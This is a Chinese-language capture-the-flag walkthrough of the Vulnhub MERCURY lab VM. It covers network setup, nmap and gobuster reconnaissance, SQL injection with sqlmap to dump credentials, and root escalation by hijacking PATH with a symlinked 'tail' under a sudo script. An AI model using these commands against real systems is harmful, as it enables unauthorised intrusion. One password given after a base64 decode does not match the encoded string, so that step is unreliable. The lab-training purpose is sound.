当前位置: 首页 > news >正文

Vulnhub靶机实战:MERCURY提权全记录(附环境配置避坑指南)

Vulnhub靶机实战:MERCURY渗透全流程与网络配置避坑指南

在网络安全学习过程中,Vulnhub靶机因其丰富的实战场景和多样化的漏洞组合,成为安全爱好者提升技能的绝佳选择。MERCURY作为Vulnhub平台上的一款入门级靶机,虽然难度不高,但完整呈现了从信息收集到权限提升的标准渗透测试流程。本文将详细记录从环境搭建到最终提权的完整过程,特别针对VirtualBox与VMware网络兼容性问题提供解决方案,帮助初学者避开"照着教程做却连不上靶机"的常见陷阱。

1. 环境准备与网络配置

1.1 靶机下载与导入

MERCURY靶机可从Vulnhub官网获取,下载链接通常为OVA格式文件。需要注意的是,该靶机原生支持VirtualBox环境,若使用VMware Workstation导入可能会遇到网络适配问题。建议优先使用VirtualBox进行实验,若必须使用VMware,可尝试以下转换步骤:

# 将OVA转换为VMware兼容格式 ovftool Mercury.ova Mercury.vmx

1.2 网络模式选择与互通配置

确保攻击机(Kali Linux)与靶机处于同一网络环境是渗透测试的前提。推荐采用NAT网络模式,具体配置要点如下:

  • VirtualBox设置

    1. 全局设定 → 网络 → 添加NAT网络(如NatNetwork)
    2. 靶机网络设置 → 选择NAT网络 → 选择刚创建的NatNetwork
    3. Kali虚拟机同样选择该NatNetwork
  • VMware兼容方案

    1. 编辑虚拟机设置 → 网络适配器 → 自定义特定虚拟网络 2. 确保Kali和靶机选择相同的VMnet(通常为NAT模式下的相同VMnet) 3. 若仍无法互通,可尝试将靶机改为桥接模式

注意:完成配置后,建议在Kali中执行ip addr show查看本机IP,然后使用arp-scan -l扫描同网段设备,确认靶机IP可达。

1.3 常见连接问题排查

当遇到网络不通时,可按以下步骤排查:

  1. 检查虚拟机网络适配器状态

    • VirtualBox:确保"启用网络连接"已勾选
    • VMware:确认网络适配器已连接
  2. 验证IP分配

    # Kali中查看自身IP ifconfig eth0 # 扫描同网段主机 nmap -sn 192.168.56.0/24
  3. 防火墙干扰排除

    • 临时关闭Kali防火墙:sudo ufw disable
    • 检查靶机是否限制ICMP响应

2. 信息收集与漏洞扫描

2.1 主机发现与端口扫描

使用Nmap进行基础扫描是渗透测试的标准起点。针对MERCURY靶机,建议采用分层扫描策略:

# 快速存活检测 sudo nmap -sn 10.10.10.0/24 -oN host_scan.txt # 全端口扫描(TCP) sudo nmap -sT --min-rate 10000 -p- 10.10.10.6 -oN full_port.txt # 服务版本探测 sudo nmap -sT -sC -sV -O -p22,8080 10.10.10.6 -oN service_scan.txt # 漏洞脚本扫描 sudo nmap --script=vuln -p22,8080 10.10.10.6 -oN vuln_scan.txt

扫描结果通常显示开放22(SSH)和8080(HTTP)端口。值得注意的是,8080端口运行的非标准Web服务,而是某种HTTP代理应用,这为后续渗透提供了方向。

2.2 Web应用目录枚举

当直接访问8080端口仅返回简单维护页面时,目录爆破成为必要手段。推荐使用Gobuster配合中等规模字典:

gobuster dir -u http://10.10.10.6:8080 \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,txt -o web_scan.txt

若常规爆破无果,可尝试以下技巧:

  • 修改HTTP请求头(如添加X-Forwarded-For
  • 尝试非常规文件扩展名(.bak, .swp等)
  • 检查robots.txt或crossdomain.xml等标准文件

3. Web渗透与漏洞利用

3.1 非常规路径发现技巧

在目录爆破无果时,故意访问不存在的路径(如/aaa)可能触发应用报错,泄露有价值信息。MERCURY靶机正是通过这种方式暴露了隐藏的/mercuryfacts目录。这种技巧在实际渗透中尤为实用:

  1. 错误诱导法

    • 尝试/admin,/test,/backup等常见但可能不存在的路径
    • 观察错误页面是否泄露路径、框架信息
  2. 参数探测

    # 使用curl测试参数 curl -v "http://10.10.10.6:8080/mercuryfacts/1'"

3.2 SQL注入利用实战

当发现/mercuryfacts/1可能存在SQL注入时,可先用手动测试确认漏洞:

# 测试单引号触发错误 curl "http://10.10.10.6:8080/mercuryfacts/1'" # 测试布尔条件 curl "http://10.10.10.6:8080/mercuryfacts/1 and 1=1" curl "http://10.10.10.6:8080/mercuryfacts/1 and 1=2"

确认存在注入后,使用sqlmap自动化利用:

# 获取数据库列表 sqlmap -u "http://10.10.10.6:8080/mercuryfacts/1" --dbms=mysql --dbs # 获取mercury数据库表结构 sqlmap -u "http://10.10.10.6:8080/mercuryfacts/1" --dbms=mysql -D mercury --tables # 导出users表数据 sqlmap -u "http://10.10.10.6:8080/mercuryfacts/1" --dbms=mysql -D mercury -T users --dump

获取的凭据通常为以下格式:

usernamepassword
johnjohnny1987
webmastermercuryisthesizeof0.056Earths

4. 权限提升与后渗透

4.1 初始访问与信息收集

使用获得的凭据通过SSH登录:

ssh webmaster@10.10.10.6 # 密码:mercuryisthesizeof0.056Earths

登录后应立即开展信息收集:

  • 检查家目录隐藏文件:ls -la ~
  • 查找SUID/GUID文件:find / -perm -4000 2>/dev/null
  • 查看可写目录:find / -writable 2>/dev/null
  • 检查计划任务:crontab -l

4.2 横向移动技巧

在webmaster账户下发现notes.txt文件,内含疑似base64编码的凭据:

# 解码示例 echo 'bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==' | base64 -d

获得linuxmaster账户凭据后,切换用户:

su linuxmaster # 密码:mercuryisthesizeof0.056Earths

4.3 特权升级:环境变量劫持

关键步骤分解:

  1. 检查sudo权限

    sudo -l # 输出显示可运行/usr/bin/check_syslog.sh
  2. 分析脚本内容

    cat /usr/bin/check_syslog.sh # 发现使用tail命令读取日志
  3. 创建恶意软链接

    ln -s /bin/vi tail
  4. 劫持PATH环境变量

    export PATH=.:$PATH
  5. 执行提权

    sudo --preserve-env=PATH /usr/bin/check_syslog.sh # 进入vi后执行:!bash

5. 渗透测试中的思维训练

MERCURY靶机虽然技术难度不高,但完整呈现了渗透测试的标准思维流程。以下几点值得特别关注:

  • 错误处理信息的价值:404页面可能泄露关键路径
  • 开发者注释的重要性:See List页面暗示了数据库结构
  • 最小权限原则的突破:从webmaster到linuxmaster的权限跃迁
  • 环境变量攻击面:PATH滥用导致的权限提升

实际渗透中遇到的网络连接问题,往往比漏洞利用本身更耗时。建议初学者建立标准的排查清单:

  1. 虚拟机网络模式是否匹配(NAT/NAT网络)
  2. 防火墙规则是否阻止通信(iptables/ufw)
  3. IP地址是否在同一子网(ip addr show)
  4. 靶机服务是否正常监听(netstat -tulnp)

掌握这些基础问题的解决方法,才能将更多精力集中在真正的安全技术研究上。

http://www.jsqmd.com/news/531398/

相关文章:

  • 计算机毕业设计springboot银饰网上商城设计与实现 基于SpringBoot的银饰品在线销售平台设计与实现 SpringBoot框架下银饰网络销售系统的设计与开发
  • SeqGPT-560m指令理解能力实测:任务-输入-输出Prompt结构有效性验证
  • SEO_从0到1搭建可持续流量的SEO体系介绍
  • 原神祈愿记录导出工具:从数据捕获到可视化分析的全流程解决方案
  • 别再全表扫描了!GaussDB分区表实战:用时间戳分区让IoT数据查询快10倍
  • 【仅限前500名开发者】Python AI内存泄漏检测SDK免费开放:内置17个LLM服务典型泄漏模式指纹库
  • 别再傻傻仿真整个阵列了!CST微波工作室教你用周期边界快速搞定FSS单元仿真
  • 联想ideapad700-15ISK加装M.2固态实战:三星970EVO安装与双系统迁移避坑指南
  • Wan2.2-I2V-A14B惊艳生成:海鸥翅膀扇动频率与空气动力学模型匹配
  • 告别Mac!用香蕉云编在线搞定iOS证书(.p12)和描述文件,HBuilderX打包必备
  • Qwen3-1.7B快速上手:CSDN镜像开箱即用,无需自己装环境
  • payload-dumper-go:Android OTA包高效解压工具,释放系统镜像价值
  • Rocky Linux 9.4上iRedMail 1.6.8邮件系统保姆级安装指南(含SOGo避坑技巧)
  • C# Random 随机数实战技巧与高级应用
  • 上海交大首次发布完全开源的搜索智能体
  • Phi-4-Reasoning-Vision部署教程:双卡4090环境下的15B模型梯度检查点优化
  • RVC-WebUI终极指南:5分钟掌握AI语音转换技术
  • 从童年到老年:Qwen-Image-Edit-F2P生成人生年龄跨度人脸序列展示
  • Qwen3-TTS-12Hz-1.7B-VoiceDesign 跨平台部署:移动端集成方案对比
  • LFM2.5-1.2B-Thinking-GGUF在IoT边缘场景应用:离线文本生成+低延迟响应实测
  • OpenClaw调试技巧:GLM-4.7-Flash复杂任务链路的日志追踪方法
  • 2026年评价高的工程桥梁建筑模板厂家推荐 - 品牌宣传支持者
  • Kafka消息顺序性与幂等消费实战指南【全局/局部有序+防重复消费】
  • Chatterbox企业级部署:从技术挑战到架构突破
  • Python+OpenCV实战:用GrabCut算法实现智能抠图(附完整代码)
  • 2026郑州税务咨询优质品牌推荐指南:郑州财务外包/郑州跨境电商/郑州高企申请/郑州高企陪跑/郑州代理记账/郑州税务代理/选择指南 - 优质品牌商家
  • 如何用HelixFold3免费实现媲美AlphaFold3的蛋白质结构预测
  • 为什么你的嵌入式项目需要Helix QAC?静态测试实战案例解析
  • 高性能无头浏览器:Lightpanda重新定义服务器端Web内容处理
  • 别再手动画了!用QGIS的‘Shapping Toolbar’快速绘制规则矢量图形(矩形/圆形/多边形)